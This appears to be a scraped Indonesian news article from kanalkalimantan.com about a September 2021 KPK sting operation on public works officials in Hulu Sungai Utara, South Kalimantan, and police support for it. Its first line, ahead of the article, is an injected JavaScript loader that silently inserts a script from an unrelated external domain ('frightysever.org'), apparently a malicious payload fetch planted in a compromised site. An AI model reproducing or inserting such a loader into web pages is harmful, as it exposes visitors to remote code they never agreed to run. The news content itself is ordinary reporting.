(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Polda Kalsel Sudah Ketahui Adanya Operasi Tangkap Tangan KPK di HSU


KANALKALIMANTAN.COM, BANJARMASIN – Polda Kalsel ternyata sudah mengetahui rencana Operasi Tangkap Tangan (OTT) KPK yang berlangsung di Kabupaten Hulu Sungai Utara (HSU), Rabu (15/9/2021) malam.

Hal tersebut disampaikan Kapolda Kalsel Irjen Pol Rikwanto, yang mengatakan pihaknya telah menyediakan tempat bagi para petugas KPK di Polres HSU pasca penangkapan tersebut.

“Kita tidak terlibat langsung, tetapi hanya memfasilitasi. KPK sebelumnya minta satu ruangan di Polres HSU untuk memeriksa orang yang ditangkap,” kata Irjen Pol Rikwanto, Kamis (16/9) siang, saat dihubungi wartawan.

Sebelumnya, Plt Dinas PU HSU ditangkap KPK dalam sebuah OTT di Amuntai pada Rabu (15/9/2021) malam. Kabar penangkapan tersebut dibenarkan Pelaksana Tugas Juru Bicara KPK Ali Fikri saat dikonfirmasi wartawan di Jakarta.

 

 

Baca juga: Pasca Penangkapan, KPK Segel Ruang Kepala Dinas PU HSU

“Benar, tim KPK berhasil mengamankan beberapa pihak dalam kegiatan tangkap tangan terkait dugaan tindak pidana korupsi di wilayah Kalimantan Selatan,” ujar Ali dilansir Suara.com -jaringan Kanalkalimantan.com-, Kamis (16/9/2021).

Ali mengatakan, saat ini tim KPK dan pihak yang diamankan dibawa ke Jakarta untuk dilakukan permintaan keterangan.

Ali menyebut sejumlah pihak yang diamankan kini sudah berada di Gedung Merah Putih KPK untuk diperiksa secara mendalam. Namun, Ali belum dapat menyampaikan detail kasus atau siapa saja pihak yang ditangkap.

“KPK memiliki waktu 1×24 jam untuk menentukan sikap dari hasil pemeriksaan yang masih berlangsung saat ini,” ujar Ali.

Namun demikian, informasi yang dihimpun Kanalkalimantan.com, sejumlah orang ditangkap saat melakukan pertemuan di ruang Dinas Pekerjaan Umum Penataaan Ruang dan Pertanahan HSU.

Sejumlah inisial yang diamankan disebutkan adalah MI (PNS), MR (PNS), LT (PNS), MN (belum terkonfirmasi) dan FR (swasta). Dalam OTT tersebut turun diamankan barang bukti tas kresek berisi uang yang diduga terkait dengan proyek yang akan dikerjakan. (kanalkalimantan.com/kk)

Reporter: kk
Editor: cell


Risa

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

6 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

8 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

10 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

10 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

13 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

13 jam ago

This website uses cookies.